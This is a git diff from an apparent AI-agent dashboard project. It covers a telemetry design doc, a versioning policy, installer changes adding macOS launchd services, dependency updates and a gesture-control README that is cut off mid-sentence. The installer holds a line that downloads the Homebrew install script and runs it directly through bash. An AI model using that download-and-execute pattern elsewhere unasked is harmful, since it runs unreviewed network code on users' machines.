+2. **Fresh load / reconnect:** server stores the latest in `plan-usage-latest.ts`; `getLightState()` includes it as `planUsage`; the per-connection **init snapshot** replays it; `handleInit` paints the chip immediately (authoritative over localStorage). Null until the first telemetry of the process.
+3. **Offline / cross-restart:** `restorePlanUsageChip()` reads `localStorage` on load (12h freshness guard).
+
+### 5. Injection lifecycle — works for *any* user, never self-destructs
+
+The setting `showPlanUsageLimits` is **synced** (in `settings.json`, not a per-device `displayKey`).
+
+- **On toggle** (`PUT /api/settings`, `system-routes.ts`): reconcile the exporter across **all active Claude sessions' working dirs** — inject on enable, remove on disable. Server-side and authoritative, so existing sessions get the footer + feed the chip *immediately*, no new session needed, no dependency on a client's synced localStorage.
+- **On session create** (`session-routes.ts`): **ADD-ONLY** — inject when `statusLineTelemetry` is true; **never remove**. Sessions in a repo share one `settings.local.json`, so a single create-with-false (e.g. a client whose synced setting hadn't loaded) must not yank the statusLine out from under other live sessions. Removal happens only via the explicit toggle.
+- `applyStatusLineConfig()` is **`isOurs`-guarded** (matches `/api/status-telemetry`), so a user's own hand-authored statusLine is never touched, and it **updates an out-of-date ours-command** so fixes (e.g. `-k`) propagate. **No `CASES_DIR` gate** — runs for linked cases / real repos (where sessions actually run), mirroring `updateCaseModel`.
+
+## Codeman-specific considerations
+
+1. **Account-global limits.** The 5h/7d pools are shared across all sessions on the account → one shared header chip (freshest sample wins), not a per-tab bar.
+2. **The footer is owned, by necessity.** A statusLine command always replaces Claude's default footer. Since `rate_limits` *only* arrives via statusLine, we reconstruct a useful **session-status** footer (model · tokens · ctx %) from the same payload rather than showing the limits there.
+3. **`isOurs`-guarded.** Never removes/overwrites a user's own statusLine on disable; only manages the Codeman exporter.
+4. **Security envelope unchanged.** The exporter runs arbitrary shell every render — same trust model as the hook curls (localhost + `$CODEMAN_HOOK_SECRET_FILE`); reuses the hook-secret gate.
+5. **Claude-only.** OpenCode/Codex emit no `rate_limits` JSON; injection is gated to `mode === 'claude'`.
+6. **Future — auto-resume synergy.** Live percentages would let `SessionAutoOps` pre-arm *before* the wall instead of reacting to the stall footer. Not built.
+
+## Files shipped
+
+- `src/usage-telemetry.ts` — pure parse/format (`parseStatusTelemetry`, `parseSessionStatus`, `formatSessionStatusText`, `telemetrySignature`) + `test/usage-telemetry.test.ts`.
+- `src/hooks-config.ts` — `generateStatusLineCommand()` (`curl -sk`), `applyStatusLineConfig()` (add/update/remove, `isOurs`-guarded).
+- `src/web/routes/status-telemetry-routes.ts` — `POST /api/status-telemetry`.
+- `src/web/plan-usage-latest.ts` — process-wide last-known store for init replay.
+- `src/web/schemas.ts` — `StatusTelemetrySchema` + `showPlanUsageLimits` + create-payload `statusLineTelemetry`.
+- `src/web/middleware/auth.ts` — exemption extended to `/api/status-telemetry`.
+- `src/web/routes/session-routes.ts` — add-only create-time injection.
+- `src/web/routes/system-routes.ts` — settings-toggle reconcile.
+- `src/web/server.ts` — `getLightState().planUsage` (init snapshot).
+- `src/web/sse-events.ts` + `constants.js` — `session:statusTelemetry`.
+- Frontend: `app.js` (`_onSessionStatusTelemetry`, `updatePlanUsageChip`, `restorePlanUsageChip`, `handleInit`), `settings-ui.js` (toggle + `applyHeaderVisibilitySettings`), `index.html` (chip + toggle row), `styles.css` (chip + colors), `session-ui.js` (create payload).
+
+## Bugs E2E testing caught (that unit tests didn't)
+
+The first "shipped" build passed every test and was broken in practice. End-to-end testing on the real install (the lesson: drive a REAL session, observe the REAL output) surfaced:
+
+1. **`CASES_DIR` injection gate** excluded the user's whole workflow — sessions run in linked cases / real repos, not under `~/codeman-cases`. → dropped the gate.
+2. **`curl -s` → `000`** on the loopback self-signed HTTPS cert; statusline silently empty. → `curl -sk`.
+3. **Remove-on-create-false + shared `settings.local.json`** let a single stale client yank the statusLine out from under all sessions in a repo. → add-only on create; removal only via the toggle reconcile.
+4. **Chip blank after reload** (localStorage-only, lost on restart/fresh browser). → server-side last-known in the init snapshot.
+
+## Open questions / future
+
+- **Schema stability.** `rate_limits` is officially shipped but undocumented in exact shape; the parser is tolerant (renders whatever windows exist, ignores unknown).
+- **Hook `curl -s` parity.** Hooks share the no-`-k` issue on HTTPS installs — worth fixing the hook curl too (separate change; covered by `cod54` tests).
+- **Disable cleanliness.** Disabling removes the statusLine from active sessions; a brand-new session created by a *stale* client could re-add it (chip still hidden, footer benign). Fully server-authoritative create-time injection (read the setting server-side instead of the payload flag) would close this — deferred.
+
+## Verification appendix — how the schema was captured (reproducible)
+
+Captured without touching global settings or any real session:
+
+1. Throwaway dir `/tmp/sl-capture` with an exporter `dump.sh` that appends stdin to `payloads.jsonl` and prints `cap`; a `settings.json` pointing `statusLine.command` at it.
+2. `--print` mode does **not** render a statusline → no capture (confirms TUI-only). Must use interactive.
+3. Launch interactive Claude in an **isolated tmux socket** (`tmux -L slcap`, never `-L codeman`) inside the temp dir, `--settings /tmp/sl-capture/settings.json` (no global mutation). Confirm the workspace-trust dialog (appears even with `--dangerously-skip-permissions`), then send a one-line prompt (literal text + Enter separately, Ink-style).
+4. After the first response, `rate_limits` appears in the **second** captured record (absent in the first). Inspect with `jq '.rate_limits'`.
+5. Tear down: `tmux -L slcap kill-server` + `rm -rf /tmp/sl-capture`; verify the `codeman` socket is untouched.
+
+Related: `docs/claude-code-hooks-reference.md` (hook callback pattern), `src/usage-limit-patterns.ts` (reactive fallback), `docs/respawn-state-machine.md` (auto-resume interplay).

docs/versioning-policy.md

@@ -0,0 +1,79 @@
+# Versioning & Stability Policy
+
+Codeman follows [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`),
+managed via `@changesets/cli` (see the COM workflow in `CLAUDE.md`).
+
+This document defines **what the version number actually promises** — i.e. which
+surfaces are covered by SemVer and which are explicitly not. It exists because
+"1.0" is a commitment to stability, and an undocumented public surface invites
+incompatible client assumptions we would then be pressured to keep.
+
+> **Status:** finalized for the 1.0 cut. The HTTP/SSE API **is** part of the stable
+> surface — served under `/api/v1` with a uniform response envelope and
+> conventional HTTP status codes. See [`api-reference.md`](api-reference.md).
+
+## What SemVer covers (the public, stable surface)
+
+A **MAJOR** bump is required to break any of these after 1.0:
+
+1. **The CLI.** Command names, documented flags, and their behavior for
+   `codeman <command>` (published to npm as `aicodeman`; invoked as `codeman`).
+   This is the package's actual public entry point (`bin`).
+   - The package is published to npm as `aicodeman` and installs **both** the
+     `aicodeman` and `codeman` commands (`bin` aliases); `codeman` is the
+     canonical command used throughout the docs. Renaming either after 1.0 is a
+     breaking change.
+2. **The published `xterm-zerolag-input` library**, but on **its own version
+   line** — it is versioned and released independently of the Codeman app. Its
+   1.0 status is a separate decision; the Codeman app reaching 1.0 does *not*
+   imply `xterm-zerolag-input` is 1.0.
+3. **Documented environment variables** that configure deployment:
+   `CODEMAN_PASSWORD`, `CODEMAN_USERNAME`, `CODEMAN_HOST`, `CODEMAN_PORT`,
+   `CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`, `CODEMAN_DATA_DIR`,
+   `CODEMAN_TMUX_SOCKET`, and the `--host` / `--port` / `--https` CLI flags.
+   Removing or changing the meaning of one of these is breaking.
+4. **The HTTP API and SSE event channel**, served under **`/api/v1`** with the
+   uniform `{success:true,data}` / `{success:false,error,errorCode}` envelope and
+   conventional HTTP status codes. Endpoint paths, the response envelope, error
+   `errorCode` values, and SSE event names are stable — see
+   [`api-reference.md`](api-reference.md). *Additive* changes (new endpoints, new
+   optional fields, new error codes, new SSE events) are non-breaking; breaking
+   changes ship under a new prefix (`/api/v2`). The unversioned `/api/...` alias
+   is kept working for the bundled UI.
+
+## What SemVer does NOT cover (internal surfaces — may change in any release)
+
+These may change in a **MINOR** (or even PATCH) release without a MAJOR bump:
+
+1. **The `~/.codeman/` state file formats** (`state.json`, `settings.json`,
+   `mux-sessions.json`, etc.). We make a **best-effort** to migrate existing data
+   forward (and have done so across renames), but the on-disk schema is not a
+   stable contract — do not write tooling that depends on its exact shape.
+2. **Internal TypeScript modules.** The npm package is CLI-only; `import`ing it
+   programmatically is not supported (there is no stable library entry point).
+3. **Experimental / opt-in features**, regardless of the app's version:
+   Gesture Control (beta), Agent Teams
+   (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`), and anything labeled experimental
+   in the UI or docs. These may change or be removed at any time.
+
+## Deprecation policy
+
+When we need to change a covered surface:
+
+- Prefer **additive** changes (new flag/env var/command) over breaking ones.
+- A covered surface slated for removal is **deprecated first** — it keeps working
+  for at least one MINOR release with a runtime warning and a `CHANGELOG.md` note
+  pointing to the replacement — then removed in the next MAJOR.
+- Back-compat migration shims (e.g. the historical Claudeman→Codeman data/socket
+  migration) are kept until a MAJOR boundary, then may be dropped.
+
+## Pre-1.0 (`0.x`) caveat
+
+Until 1.0 ships, **any release may contain breaking changes** per SemVer's `0.x`
+allowance. The commitments above take effect at `1.0.0`.
+
+## See also
+
+- `CLAUDE.md` — the COM release workflow (changesets, version bump, deploy)
+- `SECURITY.md` — security reporting and the supported-version policy
+- `docs/security-architecture.md` — the full trust model

install.sh

@@ -7,7 +7,7 @@
 # Environment variables:
 #   CODEMAN_NONINTERACTIVE=1  - Skip all prompts (for CI/automation)
 #   CODEMAN_INSTALL_DIR       - Custom install directory (default: ~/.codeman/app)
-#   CODEMAN_SKIP_SYSTEMD=1    - Skip systemd service setup prompt
+#   CODEMAN_SKIP_SYSTEMD=1    - Skip systemd/launchd service setup prompt
 #   CODEMAN_NODE_VERSION      - Node.js major version to install (default: 22)
 #   CODEMAN_REPO_URL          - Custom git repository URL (default: upstream Codeman)
 #   CODEMAN_BRANCH            - Git branch to install (default: master)
@@ -26,6 +26,13 @@ TARGET_NODE_VERSION="${CODEMAN_NODE_VERSION:-22}"
 NONINTERACTIVE="${CODEMAN_NONINTERACTIVE:-0}"
 SKIP_SYSTEMD="${CODEMAN_SKIP_SYSTEMD:-0}"
 
+# puppeteer is a devDependency used only by scripts/browser-comparison.mjs — its
+# ~150MB chrome-headless-shell download is never needed to build or run Codeman.
+# Skipping it avoids a slow download and a fatal install failure when a prior
+# download left a corrupt cache (folder present, executable missing). Respect an
+# explicit caller override so contributors can still fetch the browser if needed.
+export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
+
 # Claude CLI search paths (from src/utils/claude-cli-resolver.ts)
 CLAUDE_SEARCH_PATHS=(
     "$HOME/.local/bin/claude"
@@ -99,6 +106,20 @@ die() {
     exit 1
 }
 
+# Security notice — printed at the very end of install/update so it is the last
+# thing the user sees (the default loopback bind + how to expose it safely).
+print_security_notice() {
+    echo ""
+    echo -e "  ${YELLOW}${BOLD}Security:${NC}"
+    echo -e "    Codeman binds ${BOLD}127.0.0.1${NC} (this machine only) — no password needed by default."
+    echo -e "    To reach it from another device, do ONE of:"
+    echo -e "      ${CYAN}•${NC} tailscale serve / cloudflared tunnel   ${DIM}(recommended)${NC}, or"
+    echo -e "      ${CYAN}•${NC} ${CYAN}codeman web --host 0.0.0.0${NC}  AND set ${CYAN}CODEMAN_PASSWORD${NC}"
+    echo -e "    A non-loopback bind without a password still starts, but warns loudly."
+    echo -e "    ${DIM}Details: docs/security-architecture.md${NC}"
+    echo ""
+}
+
 # ============================================================================
 # Cleanup on Failure
 # ============================================================================
@@ -353,8 +374,15 @@ ensure_sudo() {
         die "sudo is required but not installed. Please install packages manually or run as root."
     fi
     # Validate sudo access
-    if ! sudo -v 2>/dev/null; then
-        die "Failed to obtain sudo privileges."
+    # When piped (curl | bash), stdin is the pipe — redirect from /dev/tty so sudo can prompt
+    if [[ -e /dev/tty ]]; then
+        if ! sudo -v 2>/dev/null < /dev/tty; then
+            die "Failed to obtain sudo privileges."
+        fi
+    else
+        if ! sudo -v 2>/dev/null; then
+            die "Failed to obtain sudo privileges. Try running the script directly instead of piping."
+        fi
     fi
 }
 
@@ -372,7 +400,12 @@ ensure_homebrew() {
     fi
 
     info "Installing Homebrew first..."
-    /bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+    # When piped (curl | bash), stdin is the pipe — Homebrew needs TTY for sudo password prompt
+    if [[ -e /dev/tty ]]; then
+        /bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" < /dev/tty
+    else
+        NONINTERACTIVE=1 /bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+    fi
 
     # Add Homebrew to PATH for Apple Silicon
     if [[ -f /opt/homebrew/bin/brew ]]; then
@@ -787,9 +820,84 @@ setup_sc_alias() {
 }
 
 # ============================================================================
-# Systemd Service Setup (Linux only)
+# Service Setup (Linux systemd / macOS launchd)
 # ============================================================================
 
+setup_launchd_service() {
+    local plist_label="com.codeman.web"
+    local agent_dir="$HOME/Library/LaunchAgents"
+    local agent_plist="$agent_dir/$plist_label.plist"
+    local daemon_plist="/Library/LaunchDaemons/$plist_label.plist"
+
+    info "Setting up macOS LaunchAgent..."
+
+    # Remove any existing LaunchDaemon (system-level) to prevent duplicates.
+    # We standardize on LaunchAgent (user-level) — it doesn't require sudo,
+    # inherits the user's environment, and is the correct choice for user apps.
+    if [[ -f "$daemon_plist" ]]; then
+        warn "Found system-level LaunchDaemon at $daemon_plist — removing to prevent duplicate"
+        sudo launchctl unload "$daemon_plist" 2>/dev/null || true
+        sudo rm -f "$daemon_plist"
+        success "Removed duplicate LaunchDaemon"
+    fi
+
+    # Unload existing agent before overwriting
+    if [[ -f "$agent_plist" ]]; then
+        launchctl unload "$agent_plist" 2>/dev/null || true
+    fi
+
+    mkdir -p "$agent_dir"
+
+    # Build PATH: ensure /opt/homebrew/bin (Apple Silicon) and ~/.local/bin are included
+    local svc_path="/opt/homebrew/bin:/usr/local/bin:$HOME/.local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
+
+    # Find node binary path
+    local node_path
+    node_path=$(command -v node)
+
+    cat > "$agent_plist" << EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>$plist_label</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>$node_path</string>
+    <string>$INSTALL_DIR/dist/index.js</string>
+    <string>web</string>
+  </array>
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>PATH</key>
+    <string>$svc_path</string>
+    <key>HOME</key>
+    <string>$HOME</string>
+    <key>LANG</key>
+    <string>en_US.UTF-8</string>
+  </dict>
+  <key>WorkingDirectory</key>
+  <string>$HOME</string>
+  <key>RunAtLoad</key>
+  <true/>
+  <key>KeepAlive</key>
+  <true/>
+  <key>ThrottleInterval</key>
+  <integer>10</integer>
+  <key>StandardOutPath</key>
+  <string>/tmp/codeman.log</string>
+  <key>StandardErrorPath</key>
+  <string>/tmp/codeman.log</string>
+</dict>
+</plist>
+EOF
+
+    launchctl load "$agent_plist" 2>/dev/null || true
+
+    success "LaunchAgent installed and started"
+}
+
 setup_systemd_service() {
     local service_dir="$HOME/.config/systemd/user"
     local service_file="$service_dir/codeman-web.service"
@@ -1139,17 +1247,25 @@ main() {
     echo ""
 
     local launch_choice=""
-    local has_systemd=false
+    local has_service=false
+    local service_type=""
 
     if [[ "$os" == "linux" ]] && [[ "$SKIP_SYSTEMD" != "1" ]] && command -v systemctl &>/dev/null; then
-        has_systemd=true
+        has_service=true
+        service_type="systemd"
+    elif [[ "$os" == "macos" ]] && [[ "$SKIP_SYSTEMD" != "1" ]]; then
+        has_service=true
+        service_type="launchd"
     fi
 
-    if [[ "$has_systemd" == "true" ]]; then
+    if [[ "$has_service" == "true" ]]; then
+        local service_label="systemd service"
+        [[ "$service_type" == "launchd" ]] && service_label="LaunchAgent"
+
         echo -e "  ${BOLD}How would you like to run Codeman?${NC}"
         echo ""
         echo -e "    ${CYAN}1)${NC} Run now in this terminal"
-        echo -e "    ${CYAN}2)${NC} Install as systemd service (auto-start on boot)"
+        echo -e "    ${CYAN}2)${NC} Install as $service_label (auto-start on boot)"
         echo -e "    ${CYAN}3)${NC} Don't start — I'll run it later"
         echo ""
 
@@ -1166,7 +1282,7 @@ main() {
             done
         fi
     else
-        # macOS or no systemd — only offer run now or skip
+        # No service manager available — only offer run now or skip
         echo -e "  ${BOLD}Would you like to start Codeman now?${NC}"
         echo ""
         echo -e "    ${CYAN}1)${NC} Run now in this terminal"
@@ -1192,12 +1308,16 @@ main() {
 
     echo ""
 
-    # Handle systemd setup
+    # Handle service setup
     if [[ "$launch_choice" == "2" ]]; then
-        setup_systemd_service
+        if [[ "$service_type" == "launchd" ]]; then
+            setup_launchd_service
+        else
+            setup_systemd_service
+        fi
 
-        # Offer tunnel service if cloudflared is available
-        if check_cloudflared && [[ -f "$INSTALL_DIR/scripts/codeman-tunnel.service" ]]; then
+        # Offer tunnel service if cloudflared is available (Linux only — systemd tunnel service)
+        if [[ "$service_type" == "systemd" ]] && check_cloudflared && [[ -f "$INSTALL_DIR/scripts/codeman-tunnel.service" ]]; then
             echo ""
             if prompt_yes_no "Also set up Cloudflare tunnel service? (requires CODEMAN_PASSWORD)" "n"; then
                 setup_tunnel_service
@@ -1212,10 +1332,16 @@ main() {
         echo ""
         echo -e "  ${BOLD}Manage the service:${NC}"
         echo ""
-        echo -e "    ${CYAN}systemctl --user stop codeman-web${NC}    # Stop"
-        echo -e "    ${CYAN}systemctl --user restart codeman-web${NC} # Restart"
-        echo -e "    ${CYAN}systemctl --user status codeman-web${NC}  # Check status"
-        echo -e "    ${CYAN}journalctl --user -u codeman-web -f${NC}  # View logs"
+        if [[ "$service_type" == "launchd" ]]; then
+            echo -e "    ${CYAN}launchctl unload ~/Library/LaunchAgents/com.codeman.web.plist${NC}   # Stop"
+            echo -e "    ${CYAN}launchctl load ~/Library/LaunchAgents/com.codeman.web.plist${NC}     # Start"
+            echo -e "    ${CYAN}tail -f /tmp/codeman.log${NC}                                        # View logs"
+        else
+            echo -e "    ${CYAN}systemctl --user stop codeman-web${NC}    # Stop"
+            echo -e "    ${CYAN}systemctl --user restart codeman-web${NC} # Restart"
+            echo -e "    ${CYAN}systemctl --user status codeman-web${NC}  # Check status"
+            echo -e "    ${CYAN}journalctl --user -u codeman-web -f${NC}  # View logs"
+        fi
         echo ""
     fi
 
@@ -1258,6 +1384,10 @@ main() {
         echo ""
     fi
 
+    # Security notice — last informational block so it stays visible (when not
+    # auto-launching below; if we exec, the server prints the same notice anyway).
+    print_security_notice
+
     # Run now in foreground (must be last — exec replaces the shell)
     if [[ "$launch_choice" == "1" ]]; then
         local profile
@@ -1289,16 +1419,24 @@ update() {
     success "Updated to $(node -e "console.log(require('./package.json').version)")"
     echo ""
 
-    # Auto-restart systemd service if it's running, otherwise tell the user
-    if systemctl --user is-active codeman-web.service &>/dev/null; then
+    # Auto-restart service if running, otherwise tell the user
+    local agent_plist="$HOME/Library/LaunchAgents/com.codeman.web.plist"
+    if systemctl --user is-active codeman-web.service &>/dev/null 2>&1; then
         info "Restarting codeman-web service..."
         systemctl --user restart codeman-web.service
         success "codeman-web service restarted"
+    elif [[ -f "$agent_plist" ]]; then
+        info "Restarting LaunchAgent..."
+        launchctl unload "$agent_plist" 2>/dev/null || true
+        launchctl load "$agent_plist" 2>/dev/null || true
+        success "LaunchAgent restarted"
     else
         echo -e "  ${DIM}Restart codeman web to use the new version:${NC}"
         echo -e "    ${CYAN}pkill -f 'codeman.*web'; codeman web &${NC}"
     fi
     echo ""
+
+    print_security_notice
 }
 
 uninstall() {
@@ -1306,9 +1444,9 @@ uninstall() {
     info "Uninstalling Codeman..."
     echo ""
 
-    # Stop and remove systemd services
+    # Stop and remove systemd services (Linux)
     for svc in codeman-web codeman-tunnel; do
-        if systemctl --user is-active "${svc}.service" &>/dev/null; then
+        if systemctl --user is-active "${svc}.service" &>/dev/null 2>&1; then
             info "Stopping ${svc} service..."
             systemctl --user stop "${svc}.service"
         fi
@@ -1324,6 +1462,20 @@ uninstall() {
     done
     systemctl --user daemon-reload 2>/dev/null || true
 
+    # Stop and remove launchd services (macOS)
+    local agent_plist="$HOME/Library/LaunchAgents/com.codeman.web.plist"
+    local daemon_plist="/Library/LaunchDaemons/com.codeman.web.plist"
+    if [[ -f "$agent_plist" ]]; then
+        launchctl unload "$agent_plist" 2>/dev/null || true
+        rm -f "$agent_plist"
+        success "Removed LaunchAgent"
+    fi
+    if [[ -f "$daemon_plist" ]]; then
+        sudo launchctl unload "$daemon_plist" 2>/dev/null || true
+        sudo rm -f "$daemon_plist"
+        success "Removed LaunchDaemon"
+    fi
+
     # Remove symlinks
     local symlink_dir="$HOME/.local/bin"
     if [[ -L "$symlink_dir/codeman" ]]; then

knip.json

@@ -0,0 +1,16 @@
+{
+  "$schema": "https://unpkg.com/knip@5/schema.json",
+  "entry": [
+    "scripts/*.mjs",
+    "scripts/*.js",
+    "scripts/watch-subagents.ts",
+    "scripts/remotion/Root.tsx",
+    "scripts/remotion/index.ts",
+    "test/**/*.test.ts",
+    "test/mobile/vitest.config.ts",
+    "test/**/*.mjs"
+  ],
+  "project": ["src/**/*.{ts,tsx}", "scripts/**/*.{ts,tsx,mjs,js}", "test/**/*.{ts,mjs}"],
+  "ignoreExportsUsedInFile": true,
+  "ignoreDependencies": ["@remotion/cli", "@remotion/transitions", "esbuild", "agent-browser"]
+}

package.json

@@ -1,31 +1,38 @@
 {
   "name": "aicodeman",
-  "version": "0.4.5",
-  "description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
+  "version": "1.1.5",
+  "description": "Mission control for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
   "type": "module",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",
   "bin": {
-    "aicodeman": "./dist/index.js"
+    "aicodeman": "./dist/index.js",
+    "codeman": "./dist/index.js"
   },
   "scripts": {
     "postinstall": "node scripts/postinstall.js",
     "build": "node scripts/build.mjs",
+    "build:gesture": "node scripts/build-gesture-bundle.mjs",
     "start": "NODE_COMPILE_CACHE=${HOME}/.codeman/compile-cache node dist/index.js",
     "dev": "tsx src/index.ts web",
     "web": "node dist/index.js web",
     "clean": "rm -rf dist",
-    "test": "vitest run",
-    "test:watch": "vitest",
-    "test:coverage": "vitest run --coverage",
+    "test": "vitest run --config config/vitest.config.ts",
+    "test:watch": "vitest --config config/vitest.config.ts",
+    "test:coverage": "vitest run --config config/vitest.config.ts --coverage",
+    "test:ci": "vitest run --config config/vitest.ci.config.ts",
+    "check:frontend-syntax": "node scripts/check-frontend-syntax.mjs",
     "typecheck": "tsc --noEmit",
-    "lint": "eslint 'src/**/*.ts'",
-    "lint:fix": "eslint 'src/**/*.ts' --fix",
-    "format": "prettier --write 'src/**/*.ts'",
-    "format:check": "prettier --check 'src/**/*.ts'",
+    "lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
+    "lint:fix": "eslint --config config/eslint.config.js 'src/**/*.ts' --fix",
+    "format": "prettier --write 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
+    "format:check": "prettier --check 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
+    "check:public-assets": "node scripts/check-public-assets.mjs",
     "capture:subagents": "node scripts/capture-subagent-screenshots.mjs",
     "changeset": "changeset",
-    "version-packages": "changeset version",
+    "version-packages": "changeset version && npm install --package-lock-only && node scripts/check-lockfile-sync.mjs",
+    "check:lockfile": "node scripts/check-lockfile-sync.mjs",
+    "knip": "npx --yes knip@latest",
     "release": "changeset publish"
   },
   "workspaces": [
@@ -50,27 +57,29 @@
   "dependencies": {
     "@fastify/compress": "^8.3.1",
     "@fastify/cookie": "^11.0.2",
-    "@fastify/static": "^8.0.0",
+    "@fastify/multipart": "^10.0.0",
+    "@fastify/static": "^9.1.3",
     "@fastify/websocket": "^11.2.0",
     "@xterm/addon-fit": "^0.11.0",
+    "@xterm/addon-serialize": "^0.14.0",
     "@xterm/addon-unicode11": "^0.9.0",
     "@xterm/addon-webgl": "^0.19.0",
     "@xterm/xterm": "^6.0.0",
     "chalk": "^5.3.0",
     "chokidar": "^3.6.0",
     "commander": "^12.1.0",
-    "fastify": "^5.1.0",
+    "fastify": "^5.8.5",
     "node-pty": "^1.1.0",
     "qrcode": "^1.5.4",
-    "uuid": "^10.0.0",
+    "uuid": "^14.0.0",
     "web-push": "^3.6.7",
     "zod": "^4.3.6"
   },
   "devDependencies": {
     "@changesets/cli": "^2.29.8",
     "@eslint/js": "^9.0.0",
-    "@remotion/cli": "4.0.429",
-    "@remotion/transitions": "4.0.429",
+    "@remotion/cli": "4.0.473",
+    "@remotion/transitions": "4.0.473",
     "@types/node": "^20.19.33",
     "@types/pngjs": "^6.0.5",
     "@types/qrcode": "^1.5.6",
@@ -78,7 +87,7 @@
     "@types/uuid": "^10.0.0",
     "@types/web-push": "^3.6.4",
     "@types/ws": "^8.18.1",
-    "@vitest/coverage-v8": "^4.0.18",
+    "@vitest/coverage-v8": "^4.1.8",
     "agent-browser": "^0.6.0",
     "esbuild": "^0.27.3",
     "eslint": "^9.0.0",
@@ -87,18 +96,32 @@
     "pngjs": "^7.0.0",
     "prettier": "^3.4.0",
     "puppeteer": "^24.36.0",
-    "remotion": "4.0.429",
+    "remotion": "4.0.473",
     "tsx": "^4.15.0",
     "typescript": "^5.9.3",
     "typescript-eslint": "^8.0.0",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "optionalDependencies": {
     "@remotion/compositor-linux-x64-gnu": "^4.0.432",
     "@rspack/binding-linux-x64-gnu": "^1.7.7"
   },
+  "overrides": {
+    "basic-ftp": "^5.3.1",
+    "fast-uri": "^3.1.2",
+    "flatted": "^3.4.2",
+    "anymatch": {
+      "picomatch": "^2.3.2"
+    },
+    "micromatch": {
+      "picomatch": "^2.3.2"
+    },
+    "readdirp": {
+      "picomatch": "^2.3.2"
+    }
+  },
   "engines": {
-    "node": ">=18.0.0"
+    "node": ">=22.0.0"
   },
   "repository": {
     "type": "git",

packages/gesture-control/.gitignore

@@ -0,0 +1,6 @@
+node_modules
+dist
+dist-codeman/
+*.local
+.vite
+.DS_Store

packages/gesture-control/README.md

@@ -0,0 +1,258 @@
+# gesture-proto
+
+A Jarvis-style hand-tracking input layer for the Codeman dashboard. Your webcam
+sees your hands; you pinch-drag session tabs between columns. Runs entirely
+in-browser — **the camera feed never leaves the machine.**
+
+> **This build is pinch-drag only.** The discrete gesture commands (halt-all /
+> approve / new-session) were built in Phase 4 but are **intentionally not wired
+> up** — an open palm while reaching to pinch kept charging the hold-to-halt. The
+> `GestureController` core still emits `command`/`haltProgress` for any future
+> consumer; the demo just no longer listens.
+
+This is a standalone prototype (own folder, fake tabs) so the input *feel* can
+be validated on real hardware before integrating with Codeman. The canonical
+spec is **[`docs/BUILD_PLAN.md`](./docs/BUILD_PLAN.md)** — read it before
+continuing the build.
+
+---
+
+## Status: Phase 0–4 complete
+
+| Phase | What | State |
+|-------|------|-------|
+| 0 | Vite+TS scaffold, mirrored webcam preview, start button | ✅ done |
+| 1 | MediaPipe `GestureRecognizer` (VIDEO mode, CDN model+wasm), rAF loop, debug skeleton overlay, HUD | ✅ done |
+| — | **Checkpoint: ≥25fps on real camera/lighting** | ✅ 60fps (iPhone 17 Pro / Continuity Camera) |
+| 2 | One-Euro–filtered cursor + pinch detection (hysteresis) | ✅ done |
+| 3 | Drag fake tabs across 3 columns (state machine) — go/no-go | ✅ done (two-handed) |
+| 4 | Discrete gesture→command bus (👍 approve · ✌️ new-session · ✋-hold halt-all) + toast | ✅ built, ⛔ **unwired in the demo** (pinch-only) |
+| 5 | Integrate `gesture/` into real Codeman (`src/codeman/entry.ts`) | ✅ **working at the desk** — see [Codeman integration](#codeman-integration) |
+
+Also done beyond the original plan: **two-hand tracking** (drag two tabs at
+once) and a **live camera picker** (front-facing iPhone 17 Pro by default; the
+superwide / Desk View camera now works too — see the camera note below).
+
+Also: **fullscreen mode** (toggle button — the board fills the display, so grab
+targets get big).
+
+**Phase 5 is live** in the real Codeman dashboard. The Codeman-side detach +
+instance isolation + base gesture overlay are committed on `Ark0N/Codeman`
+branch `beta/session-detach` (open as **PR #103**) — including this session's
+gesture *improvements* (direct-detach, Run/Run Shell taps, self-hosted MediaPipe,
+cache-bust), ported onto the PR in commit `eea84db` (CI green). See
+[Codeman integration](#codeman-integration) below and the hand-off brief
+[`../docs/CODEMAN_DETACH_BRIEF.md`](../docs/CODEMAN_DETACH_BRIEF.md).
+
+**Multi-monitor mode — built & validated at the desk (2026-06-08).** Approach
+**A+C** (see [`../docs/MULTIMONITOR_DESIGN.md`](../docs/MULTIMONITOR_DESIGN.md)):
+(A) gesture "detach" now pops a session into a re-grabbable **in-page floating
+panel** (an `<iframe src="/session/:id">`, not an OS window — so the hand keeps
+control); (C) `scripts/span-codeman.sh` runs Codeman in a **single window spanned
+across both monitors** (Brave-first; needs macOS "Displays have separate Spaces"
+OFF + re-login), launchable one-click from a new **multi-monitor button** in
+Codeman's header. Confirmed: a panel drags across the monitor seam. Still pending:
+`getScreenDetails` screen-snapping (C-snap) and the re-dock gesture.
+
+---
+
+## Run it
+
+```bash
+cd gesture-proto
+npm install
+npm run dev
+```
+
+Open the URL Vite prints (http://localhost:5173). `getUserMedia` requires a
+secure context — `localhost` qualifies, so the dev server is fine. Click
+**Start camera**, allow the camera, hold a hand up. You should see each hand's
+21-point skeleton, a cursor ring per hand (cyan = left, violet = right, green
+while pinching), and a live HUD.
+
+**Choosing a camera:** after Start, the dropdown lists every video device. On a
+Mac with an iPhone nearby (Continuity Camera) you'll typically see the built-in
